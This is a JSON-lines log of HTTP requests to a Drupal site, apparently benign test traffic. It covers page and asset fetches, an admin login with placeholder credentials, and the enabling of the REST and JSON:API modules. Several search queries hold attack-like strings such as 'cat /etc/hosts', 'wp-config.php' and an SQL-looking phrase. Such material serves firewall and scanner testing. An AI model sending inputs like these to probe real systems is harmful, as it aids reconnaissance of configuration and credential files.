{"method": "GET", "target": "/core/themes/olivero/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
{"method": "GET", "target": "/search/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nlF7hWQsRVrlEPbc96OMGevOv3MrfMiKMVvcv6_6Joc.css?delta=1&language=en&theme=olivero&include=eJxtycEKwCAIANAfmvRNWhIy08ho9Pe7jLHDru-5yuLhqaoTKsTcKlYPf9hwScUpbtCHNBz7r4KzW_lm94sHF6ANpJ7PNyZSHLFjckuEwTfCXjJF", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_aFq4-wv4d0gPBP9K98TVdWfWzXoJLtTyXg_BN3tNojw.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVcKlShKTigEIZxiZ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login"], "body": ""}
{"method": "GET", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/no-such-page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/rss.xml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/rss.xml"], "body": ""}
{"method": "GET", "target": "/user/login?destination=/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-66TNlUp8tQI0lgPvIXpN9McAK6NI-RbJZJy3xQUipSQ&form_id=user_login_form&op=Log+in"}
{"method": "GET", "target": "/user/1?check_logged_in=1", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/jquery/jquery.min.js?v=4.0.0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/htmx/htmx.min.js?v=2.0.4", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_oc7ElP8_y3MBtFrEyAhgHKJSA-SMDBidNXaZSY7_mDc.css?delta=1&language=en&theme=olivero&include=eJx9zUEOxCAIheELaT0TWtKQIhjBdnr7cTZ1N9sPXv6i4vjxAZz2PhrwVl6JTHJaKNoxFa1NBcVtE7joACeVGJ2c8f-HKmfoMQ93lbBOiWanyywuC8p0YdfEWmYfyg_t1YpmcOCCpjd23GN-Yp6TM9hjjjVlMPwCqYxVTQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_GwAx9-XxvwjT99hmLVXFfHhAt3uBqjr-skP9WQDCcoM.js?scope=footer&delta=3&language=en&theme=olivero&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_3uG4RM-Em2VD212gfyh-PIM42Pr7XCSwv3TXIbnBX9A.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_JYK8tPdiju1DBZ5kGKcUua-GioSL5qptDKhEKxqe4cM.css?delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLU5Nzs9LSSyqBACkMwtV&exclude=eJx9jkEOwyAMBD8E4UmVIVZkxbERmLT8vrSNkpx6W61nNY60PDJlDPEILqkYvqwBh7m0DDxdjWeStQ6kYEi6ZRUUq5PATgsYqXhvZIz_CVWOUHxsZio_9DBBMtrxa3HXJFxxYujazCkPrmhgTeOrz0ylnu3NlgttUPp5yvrEgrOP3ccxXl3t1XALESq-Afi0aIE", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I"}
{"method": "GET", "target": "/sites/default/files/js/js_5hB-Wy2Hxb85RQLTESYetivjeaSJY2GQ6oXCxZeNfeA.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K189LLMtMTyzJzM_TLSjKzE0sqgQAjl4KkQ&exclude=eJx9jVEOgzAMQy_U0iNNaYlQRYirNmXj9oNNwB9_T_aTnaDGH-skYay9kAzpSrxknZtrWzNeQqTGLqHyKVKyvPJPcpAdK0LBmyuPPm4-CtLsYp5eJRcOJ1zqXu8Xxwi0_YcTlgJltTYorXmio_PeAIlUfexm0Gc1m7C7k3DjILSh2xdIDF3F", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU"}
{"method": "GET", "target": "/admin/modules", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_V22smjChlNYtGFhubSnrJiBbIXxpjPF7r7uLdgFcWYg.css?delta=0&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Yfs9-4VfSKB714k1kHFtY4JRa_hGedSW2uxnik6dlsA.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&modules%5Bmedia%5D%5Benable%5D=1&modules%5Bmedia_library%5D%5Benable%5D=1&modules%5Bbasic_auth%5D%5Benable%5D=1&modules%5Bjsonapi%5D%5Benable%5D=1&modules%5Brest%5D%5Benable%5D=1&form_build_id=form-rTmWsVrCT6WepF1-_TDWkfTkaaNLlMY8wxMtnsYWGvo&form_token=YAgSiY0E1e9HGDw2HnSiS67ixWkvvnJtCDwS6VQFU-Y&form_id=system_modules&op=Install"}
{"method": "GET", "target": "/admin/modules/list/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
